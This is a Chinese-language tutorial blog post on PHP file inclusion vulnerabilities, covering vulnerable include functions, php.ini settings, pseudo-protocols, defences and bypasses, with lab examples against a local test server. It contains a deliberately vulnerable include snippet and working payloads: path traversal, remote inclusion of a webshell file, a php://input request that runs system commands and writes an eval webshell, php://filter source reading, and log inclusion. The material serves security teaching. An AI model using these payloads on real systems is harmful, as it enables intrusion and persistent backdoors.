一篇文章教你学会文件包含漏洞

目录

Ⅰ、文件包含漏洞

一、漏洞描述:

二、漏洞常出现地方

三、危害

四、常见的文件包含函数

五、利用条件

六、常用的伪协议

七、简单代码分析

八、防御

九、绕过

II、伪协议专栏

一、file://协议

1.介绍

2.利用条件

3.利用方法

二、http://协议

1.介绍

三、php://协议

1.介绍

2.php://input方法

⑴前提条件

 ⑵利用包

3.php://filte方法

⑴前提条件

⑵格式

四、案例(包含本地文件)

1.包含敏感信息

 2.包含图片

 3.包含日志文件


Ⅰ、文件包含漏洞

一、漏洞描述:

文件包含漏洞是一种常见的安全漏洞,攻击者可以利用这个漏洞,通过应用程序包含不可信的外部文件,从而实现任意代码执行、敏感信息泄露、拒绝服务等攻击。文件包含漏洞通常是由于应用程序在包含文件时没有对用户输入进行过滤或者验证,导致攻击者可以通过构造恶意输入,实现包含任意文件的攻击。

动态的去包含文件,但是没有对文件名和内容进行校验,从而造成成命令的执行。

二、漏洞常出现地方

1.网站上同一个模块被调用的地方

2.有的文件被某网页调用,那么这个网页就有可能

三、危害
  1. 任意代码执行
  2. 敏感信息泄露读取
  3. 拒绝服务
四、常见的文件包含函数
  1. include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
  2. include_once():若文件中代码已被包含则不会再次包含
  3. require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
  4. require_once():若文件中代码已被包含则不会再次包含
五、利用条件
涉及php.ini的参数设置
allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件;
allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件
六、常用的伪协议

file://

http://

php://

第二部分专门讲伪协议,自己看

七、简单代码分析
<?php
$file = $_GET['file'];
include($file);
?>
192.168.59.129/5/demo1/baohan.php?file=../../flag.txt |
D:/phpStudy/PHPTutorial/WWW/flag.txt 可以使用绝对地址,也可以使用相对地址
八、防御
  1. 关闭两个参数
  2. 白名单
  3. 过滤关键字
  4. 禁用动态包含
九、绕过

中级:把http,https,../换成空

高级:用file伪协议

impossible:直接白名单

II、伪协议专栏

一、file://协议
1.介绍

file://是一种用于访问本地文件系统的URI(Uniform Resource Identifier)协议。在PHP中,file://协

议可以用于打开本地文件,也可以用于包含本地文件。

2.利用条件

allow_url_fopen = Off

allow_url_include = Off

使用绝对地址

3.利用方法
http://192.168.59.129/5/demo1/baohan.php?
file=file://D:/phpStudy/PHPTutorial/WWW/flag.txt
二、http://协议
1.介绍

http://是一种用于在Web上定位资源的URI(Uniform Resource Identifier)协议。在PHP中,http://

协议可以用于访问远程HTTP服务器上的资源,也可以用于包含远程文件

2.使用条件

allow_url_fopen = on

allow_url_include = on

3.利用方法

http://192.168.59.129/5/demo1/baohan.php?
file=http://192.168.59.128:8000/webshell.txt
三、php://协议
1.介绍

php://是一种PHP提供的伪协议(wrapper),用于在PHP中访问各种输入和输出流。在文件包含漏洞中,攻击者可以利用php://伪协议来读取和执行本地文件

  1. php伪协议有几个方法,其中用的比较多的是php://input方法和php://fiter方法
  2. php://input:可以访问请求的原始数据的只读流,在 POST 请求中 访问 POST 的 data 部分,在

enctype="multipart/form-data" 的时候 php://input 是无效的。主要用来执行代码。

  • php://filter:是一种过滤器伪协议,可以用于对数据流进行过滤,例如对文件进行 base64 编码。攻击者可以利用该伪协议来读取本地文件中的代码。主要用来读取源码
2.php://input方法
⑴前提条件

allow_url_fopen = on

allow_url_include = on

 ⑵利用包
POST /5/demo1/baohan.php?file=php://input HTTP/1.1
Host: 192.168.59.129
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101Firefox/102.0
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=dibdm203c34fk31ofunudueah3
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
<?php phpinfo(); ?>
<?php system('dir') ?>
<?php fputs(fopen('shell.php','a'),'<?php @eval($_POST[\'cmd\']);phpinfo();?') ?
>
3.php://filte方法
⑴前提条件

allow_url_include=on/off

allow_url_fopen=on/off

⑵格式

php://filter/过滤器名/resource=文件名

参数详解:

resource=<要过滤的数据流>

read=<读链的过滤器>

write=<写链的筛选列表>

其中可用的过滤器列表:

convert.base64-encode:将输入转换成 base64 编码的格式

convert.base64-decode:将输入从 base64 编码还原成原始格式

convert.quoted-printable-encode:将输入转换成 quoted-printable 编码的格式

convert.quoted-printable-decode:将输入从 quoted-printable 编码还原成原始格式

convert.iconv.*:使用 iconv 库对输入进行转码

string.rot13:使用 ROT13 算法对输入进行加密

string.toupper:将输入中的所有字母转换成大写形式

string.tolower:将输入中的所有字母转换成小写形式

利用url:

php://filter/过滤器名/resource=文件名
192.168.59.129/5/demo1/baohan.php?file=php://filter/read=convert.base64-
encode/resource=D:\phpStudy\PHPTutorial\WWW\5\demo1\baohan.php
四、案例(包含本地文件)
1.包含敏感信息
http://192.168.59.129/pikachu/vul/fileinclude/fi_local.php?
filename=../../../../flag.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2
 2.包含图片
http://192.168.59.129/pikachu/vul/fileinclude/fi_local.php?
filename=../../unsafeupload/uploads/shell.jpg&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%
E8%AF%A2
 3.包含日志文件
http://192.168.59.129/5/demo1/baohan.php?
file=D:\phpStudy\PHPTutorial\Apache\logs\error.log
  • 3
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值